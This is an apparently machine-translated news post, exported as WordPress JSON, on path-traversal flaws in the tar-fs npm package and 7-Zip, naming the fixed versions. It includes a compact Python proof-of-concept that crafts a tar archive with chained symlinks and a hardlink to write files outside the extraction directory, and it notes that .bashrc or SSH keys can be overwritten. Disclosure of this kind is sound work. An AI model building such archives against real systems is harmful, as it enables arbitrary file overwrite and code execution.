{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Vulnerabilitetet n\u00eb tar-fs dhe 7-Zip, t\u00eb cilat lejojn\u00eb shkruarjen e skedar\u00ebve jasht\u00eb katalogut baz\u00eb.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

N\u00eb paket\u00ebn NPM tar-fs \u00ebsht\u00eb zbuluar nj\u00eb vulnerabilitet (CVE-2025-48387) q\u00eb lejon, gjat\u00eb shfletimit t\u00eb nj\u00eb arkivi tar t\u00eb krijuar posa\u00e7\u00ebrisht, q\u00eb t\u00eb shkruhen skedar\u00eb n\u00eb \u00e7do pjes\u00eb t\u00eb sistemit t\u00eb skedar\u00ebve, pa u kufizuar n\u00eb katalogun ku po kryhet shflehtimi (sa lejojn\u00eb t\u00eb drejtat e aksesit t\u00eb p\u00ebrdoruesit aktual). Ky vulnerabilitet gjithashtu mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb mbivendosur skedar\u00eb ekzistues; p\u00ebr shembull, p\u00ebr t\u00eb organizuar ekzekutimin e kodit t\u00eb tij n\u00eb sistem, mund t\u00eb mbivendosen skedar\u00ebt «.ssh\/id_rsa» ose «.bashrc» n\u00eb katalogun e p\u00ebrdoruesit. <\/p>\n

Problemi i \u00ebsht\u00eb caktuar nj\u00eb nivel kritik rreziku duke marr\u00eb parasysh q\u00eb paketa tar-fs ka 23 milion shkarkime n\u00eb jav\u00eb dhe p\u00ebrdoret si var\u00ebsi n\u00eb 1155 projekte. Vulnerabiliteti \u00ebsht\u00eb eliminuar n\u00eb l\u00ebshimet 3.0.9, 2.1.3 dhe 1.16.5, t\u00eb cilat u formuan n\u00eb maj, por informacioni p\u00ebr vulnerabilitetin u zbulua vet\u00ebm pas gati 3 muajsh. <\/p>\n

Vulnerabiliteti shkaktohet nga kontrolli i pamjaftuesh\u00ebm i lidhjeve simbolike dhe t\u00eb forta q\u00eb jan\u00eb n\u00eb arkiv, p\u00ebr sa i p\u00ebrket daljes jasht\u00eb katalogut t\u00eb synuar p\u00ebr shfletim. P\u00ebr t\u00eb anashkaluar verifikimet, p\u00ebrdoren dy lidhje simbolike: e para tregon drejt katalogut baz\u00eb t\u00eb shfletimit t\u00eb arkivit («.»), nd\u00ebrsa e dyta krijohet n\u00eb lidhje me lidhjen simbolike t\u00eb par\u00eb duke p\u00ebrdorur n\u00eb emrin e saj simbolet «..» p\u00ebr t\u00eb dal\u00eb jasht\u00eb katalogut baz\u00eb. P\u00ebr shembull, lidhja e par\u00eb «noop\/noop\/noop» tregon p\u00ebr «.», nd\u00ebrsa e dyta «noop\/noop\/noop\/....\/....\/..» zgjerohet si «.\/....\/....\/..». P\u00ebr t\u00eb organizuar mbivendosjen e skedar\u00ebve n\u00eb arkiv, mund t\u00eb krijohet nj\u00eb lidhje e fort\u00eb q\u00eb referohet n\u00eb nj\u00eb skedar t\u00eb jasht\u00ebm n\u00eb lidhje me lidhjen e dyt\u00eb simbolike. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop\/» * 15) + («..» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root\/home\/username\/flag\/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\\n» newfile = tarfile.TarInfo(«root\/home\/username\/flag\/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n

Nj\u00eb vulnerabilitet i ngjash\u00ebm (CVE-2025-55188) \u00ebsht\u00eb zbuluar n\u00eb arkivatorin 7-Zip. P\u00ebr t\u00eb shkruar skedar\u00eb jasht\u00eb katalogut baz\u00eb n\u00eb 7-Zip gjithashtu mund t\u00eb p\u00ebrdoren lidhje simbolike, t\u00eb cilat kan\u00eb sekuenc\u00ebn «..» n\u00eb rrug\u00ebn e skedarit. Problemi mund t\u00eb shfryt\u00ebzohet gjat\u00eb shfletimit t\u00eb \u00e7do arkivi me 7-Zip q\u00eb mb\u00ebshtet lidhjet simbolike, si zip, tar, 7z dhe rar. Problemi \u00ebsht\u00eb zgjidhur n\u00eb versionin 7-Zip 25.01.
\n
Burimi: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 \u0424\u0421, \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u043c, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0430 (\u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u0430\u043d\u044b \u0444\u0430\u0439\u043b\u044b «.ssh\/id_rsa» \u0438\u043b\u0438 «.bashrc» \u0432 […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-140951","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Dob\u00ebsit\u00eb n\u00eb tar-fs dhe 7-Zip, q\u00eb lejojn\u00eb shkruarjen e skedar\u00ebve jasht\u00eb katalogut baz\u00eb | ProHoster","description":"N\u00eb paket\u00ebn NPM tar-fs \u00ebsht\u00eb zbuluar nj\u00eb dob\u00ebsi (CVE-2025-48387) q\u00eb lejon, kur shpaketohet nj\u00eb arkiv tar i formatuar ve\u00e7mas, q\u00eb t\u00eb shkruhen skedar\u00eb n\u00eb \u00e7do pjes\u00eb t\u00eb FS-s\u00eb, pa u kufizuar n\u00eb katalogun ku po b\u00ebhet shpaketimi (sa lejojn\u00eb t\u00eb drejtat e aksesit t\u00eb p\u00ebrdoruesit aktual). Kjo dob\u00ebsi gjithashtu mund t\u00eb p\u00ebrdoret p\u00ebr t\u00eb riparuar skedar\u00ebt ekzistues, p\u00ebr shembull, skedar\u00ebt \".ssh\/id_rsa\" ose \".bashrc\" mund t\u00eb ri-shkruhen p\u00ebr t\u00eb organizuar ekzekutimin e kodit t\u00eb tij n\u00eb sistem.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 tar-fs \u0438 7-Zip, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 | ProHoster","og:description":"\u0412 NPM-\u043f\u0430\u043a\u0435\u0442\u0435 tar-fs \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2025-48387), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u043e\u0433\u043e tar-\u0430\u0440\u0445\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432 \u043b\u044e\u0431\u044b\u0435 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